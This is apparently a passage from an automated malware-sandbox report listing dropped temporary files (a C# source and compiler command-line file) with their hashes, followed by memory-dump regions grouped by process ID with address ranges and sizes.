                                                                                          aebf378e92b61ea5f10d0c0f9085138a484c4fa1

                                                                                          SHA256

                                                                                          adab8e329cd546dce56ccff6cfd0dcbe26e65d88c773ce429d331bd761ff8880

                                                                                          SHA512

                                                                                          22141cfbc46b18d4df3f1655f965c8e1774a201fe3003073e4e03cb673be8016e4bccf90af60231f4ee552e0de7d6aed44705f4678f7c487f02c7e6204ab7c8c

                                                                                        • \??\c:\Users\Admin\AppData\Local\Temp\lqdhmyvo\lqdhmyvo.0.cs
                                                                                          Filesize

                                                                                          1004B

                                                                                          MD5

                                                                                          c76055a0388b713a1eabe16130684dc3

                                                                                          SHA1

                                                                                          ee11e84cf41d8a43340f7102e17660072906c402

                                                                                          SHA256

                                                                                          8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                          SHA512

                                                                                          22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                        • \??\c:\Users\Admin\AppData\Local\Temp\lqdhmyvo\lqdhmyvo.cmdline
                                                                                          Filesize

                                                                                          607B

                                                                                          MD5

                                                                                          c9e7ebeacefb392c3c0505c9349c6449

                                                                                          SHA1

                                                                                          af3e55bb74388a0a18544e9a346fd3081c0306e8

                                                                                          SHA256

                                                                                          d3a8cfbc1e94111774955b45c676ea97a31a5edda8dddff63d7dbd91fe420537

                                                                                          SHA512

                                                                                          d74b5b5139244be8f51e81de68e3f71dbefa4b816080334458f6cfc761cdf01c2c2ed306c8e96d7392f7cdb1da8073253402a43da4491682c1120a2a15dd1169

                                                                                        • memory/220-1701-0x00000133CC120000-0x00000133CC128000-memory.dmp
                                                                                          Filesize

                                                                                          32KB

                                                                                        • memory/492-95-0x00000169F4B10000-0x00000169F4B32000-memory.dmp
                                                                                          Filesize

                                                                                          136KB

                                                                                        • memory/492-84-0x00007FF964C53000-0x00007FF964C55000-memory.dmp
                                                                                          Filesize

                                                                                          8KB

                                                                                        • memory/492-96-0x00007FF964C50000-0x00007FF965711000-memory.dmp
                                                                                          Filesize

                                                                                          10.8MB

                                                                                        • memory/492-99-0x00007FF964C50000-0x00007FF965711000-memory.dmp
                                                                                          Filesize

                                                                                          10.8MB

                                                                                        • memory/492-123-0x00007FF964C50000-0x00007FF965711000-memory.dmp
                                                                                          Filesize

                                                                                          10.8MB

                                                                                        • memory/3344-62-0x00007FF966470000-0x00007FF9665EE000-memory.dmp
                                                                                          Filesize

                                                                                          1.5MB

                                                                                        • memory/3344-1805-0x00007FF976610000-0x00007FF976629000-memory.dmp
                                                                                          Filesize

                                                                                          100KB

                                                                                        • memory/3344-1849-0x00007FF966BA0000-0x00007FF967192000-memory.dmp
                                                                                          Filesize

                                                                                          5.9MB

                                                                                        • memory/3344-1861-0x00007FF976380000-0x00007FF976394000-memory.dmp
                                                                                          Filesize

                                                                                          80KB

                                                                                        • memory/3344-85-0x00007FF975A90000-0x00007FF975AB3000-memory.dmp
                                                                                          Filesize

                                                                                          140KB

                                                                                        • memory/3344-83-0x00007FF965950000-0x00007FF965A6C000-memory.dmp
                                                                                          Filesize

                                                                                          1.1MB

                                                                                        • memory/3344-80-0x00007FF976290000-0x00007FF9762B4000-memory.dmp
                                                                                          Filesize

                                                                                          144KB

                                                                                        • memory/3344-1562-0x00007FF966470000-0x00007FF9665EE000-memory.dmp
                                                                                          Filesize

                                                                                          1.5MB

                                                                                        • memory/3344-81-0x00007FF9778A0000-0x00007FF9778AD000-memory.dmp
                                                                                          Filesize

                                                                                          52KB

                                                                                        • memory/3344-77-0x00007FF976380000-0x00007FF976394000-memory.dmp
                                                                                          Filesize

                                                                                          80KB

                                                                                        • memory/3344-74-0x00007FF965E70000-0x00007FF966399000-memory.dmp
                                                                                          Filesize

                                                                                          5.2MB

                                                                                        • memory/3344-75-0x00000233CB280000-0x00000233CB7A9000-memory.dmp
                                                                                          Filesize

                                                                                          5.2MB

                                                                                        • memory/3344-73-0x00007FF966BA0000-0x00007FF967192000-memory.dmp
                                                                                          Filesize

                                                                                          5.9MB

                                                                                        • memory/3344-69-0x00007FF9763F0000-0x00007FF976423000-memory.dmp
                                                                                          Filesize

                                                                                          204KB

                                                                                        • memory/3344-70-0x00007FF9663A0000-0x00007FF96646D000-memory.dmp
                                                                                          Filesize

                                                                                          820KB

                                                                                        • memory/3344-65-0x00007FF976610000-0x00007FF976629000-memory.dmp
                                                                                          Filesize

                                                                                          100KB

                                                                                        • memory/3344-1862-0x00007FF9778A0000-0x00007FF9778AD000-memory.dmp
                                                                                          Filesize

                                                                                          52KB

                                                                                        • memory/3344-66-0x00007FF979A60000-0x00007FF979A6D000-memory.dmp
                                                                                          Filesize

                                                                                          52KB

                                                                                        • memory/3344-61-0x00007FF975A90000-0x00007FF975AB3000-memory.dmp
                                                                                          Filesize

                                                                                          140KB

                                                                                        • memory/3344-1860-0x00007FF965E70000-0x00007FF966399000-memory.dmp
                                                                                          Filesize

                                                                                          5.2MB

                                                                                        • memory/3344-1864-0x00007FF966470000-0x00007FF9665EE000-memory.dmp
                                                                                          Filesize

                                                                                          1.5MB

                                                                                        • memory/3344-1865-0x00007FF976290000-0x00007FF9762B4000-memory.dmp
                                                                                          Filesize

                                                                                          144KB

                                                                                        • memory/3344-58-0x00007FF979720000-0x00007FF979739000-memory.dmp
                                                                                          Filesize

                                                                                          100KB

                                                                                        • memory/3344-56-0x00007FF976010000-0x00007FF97603D000-memory.dmp
                                                                                          Filesize

                                                                                          180KB

                                                                                        • memory/3344-1866-0x00007FF97EAE0000-0x00007FF97EAEF000-memory.dmp
                                                                                          Filesize

                                                                                          60KB

                                                                                        • memory/3344-49-0x00007FF976290000-0x00007FF9762B4000-memory.dmp
                                                                                          Filesize

                                                                                          144KB

                                                                                        • memory/3344-50-0x00007FF97EAE0000-0x00007FF97EAEF000-memory.dmp
                                                                                          Filesize

                                                                                          60KB

                                                                                        • memory/3344-1867-0x00007FF976010000-0x00007FF97603D000-memory.dmp
                                                                                          Filesize

                                                                                          180KB

                                                                                        • memory/3344-26-0x00007FF966BA0000-0x00007FF967192000-memory.dmp
                                                                                          Filesize

                                                                                          5.9MB

                                                                                        • memory/3344-1868-0x00007FF979720000-0x00007FF979739000-memory.dmp
                                                                                          Filesize

                                                                                          100KB

                                                                                        • memory/3344-1806-0x00007FF9763F0000-0x00007FF976423000-memory.dmp
                                                                                          Filesize

                                                                                          204KB

                                                                                        • memory/3344-1834-0x00007FF966470000-0x00007FF9665EE000-memory.dmp
                                                                                          Filesize

                                                                                          1.5MB

                                                                                        • memory/3344-1839-0x00007FF965E70000-0x00007FF966399000-memory.dmp
                                                                                          Filesize

                                                                                          5.2MB

                                                                                        • memory/3344-1838-0x00007FF9663A0000-0x00007FF96646D000-memory.dmp
                                                                                          Filesize

                                                                                          820KB

                                                                                        • memory/3344-1828-0x00007FF966BA0000-0x00007FF967192000-memory.dmp
                                                                                          Filesize

                                                                                          5.9MB

                                                                                        • memory/3344-1829-0x00007FF976290000-0x00007FF9762B4000-memory.dmp
                                                                                          Filesize

                                                                                          144KB

                                                                                        • memory/3344-1870-0x00007FF976610000-0x00007FF976629000-memory.dmp
                                                                                          Filesize

                                                                                          100KB

                                                                                        • memory/3344-1871-0x00007FF979A60000-0x00007FF979A6D000-memory.dmp
                                                                                          Filesize

                                                                                          52KB

                                                                                        • memory/3344-1872-0x00007FF9663A0000-0x00007FF96646D000-memory.dmp
                                                                                          Filesize

                                                                                          820KB

                                                                                        • memory/3344-1873-0x00007FF9763F0000-0x00007FF976423000-memory.dmp
                                                                                          Filesize

                                                                                          204KB

                                                                                        • memory/3344-1848-0x00000233CB280000-0x00000233CB7A9000-memory.dmp
                                                                                          Filesize

                                                                                          5.2MB

                                                                                        • memory/3344-1863-0x00007FF965950000-0x00007FF965A6C000-memory.dmp
                                                                                          Filesize

                                                                                          1.1MB

                                                                                        • memory/3344-1869-0x00007FF975A90000-0x00007FF975AB3000-memory.dmp
                                                                                          Filesize

                                                                                          140KB

                                                                                        • memory/4340-1797-0x000001DEFF450000-0x000001DEFF45E000-memory.dmp
                                                                                          Filesize

                                                                                          56KB

                                                                                        • memory/4340-1729-0x000001DF00000000-0x000001DF000BA000-memory.dmp
                                                                                          Filesize

                                                                                          744KB

                                                                                        • memory/4340-1845-0x000001DEFF460000-0x000001DEFF468000-memory.dmp
                                                                                          Filesize

                                                                                          32KB

                                                                                        • memory/4340-1843-0x0000000180000000-0x0000000180A5B000-memory.dmp
                                                                                          Filesize

                                                                                          10.4MB

                                                                                        • memory/4340-1874-0x0000000180000000-0x0000000180A5B000-memory.dmp
                                                                                          Filesize

                                                                                          10.4MB

                                                                                        • memory/4340-1800-0x000001DEFFEA0000-0x000001DEFFF1E000-memory.dmp
                                                                                          Filesize

                                                                                          504KB

                                                                                        • memory/4340-1847-0x000001DEFF4B0000-0x000001DEFF4BE000-memory.dmp
                                                                                          Filesize

                                                                                          56KB

                                                                                        • memory/4340-1846-0x000001DEFF920000-0x000001DEFF958000-memory.dmp
                                                                                          Filesize

                                                                                          224KB

                                                                                        • memory/4340-1718-0x000001DEFF060000-0x000001DEFF07A000-memory.dmp
                                                                                          Filesize

                                                                                          104KB

                                                                                        • memory/4340-1728-0x000001DF00540000-0x000001DF00A7C000-memory.dmp
                                                                                          Filesize

                                                                                          5.2MB

                                                                                        • memory/4340-1731-0x000001DF000C0000-0x000001DF00172000-memory.dmp
                                                                                          Filesize

                                                                                          712KB

                                                                                        • memory/4936-119-0x0000000000480000-0x000000000048A000-memory.dmp
                                                                                          Filesize

                                                                                          40KB

                                                                                        • memory/4936-120-0x00000000026E0000-0x00000000026EA000-memory.dmp
                                                                                          Filesize

                                                                                          40KB

                                                                                        • memory/4936-221-0x0000000005840000-0x0000000005852000-memory.dmp
                                                                                          Filesize

                                                                                          72KB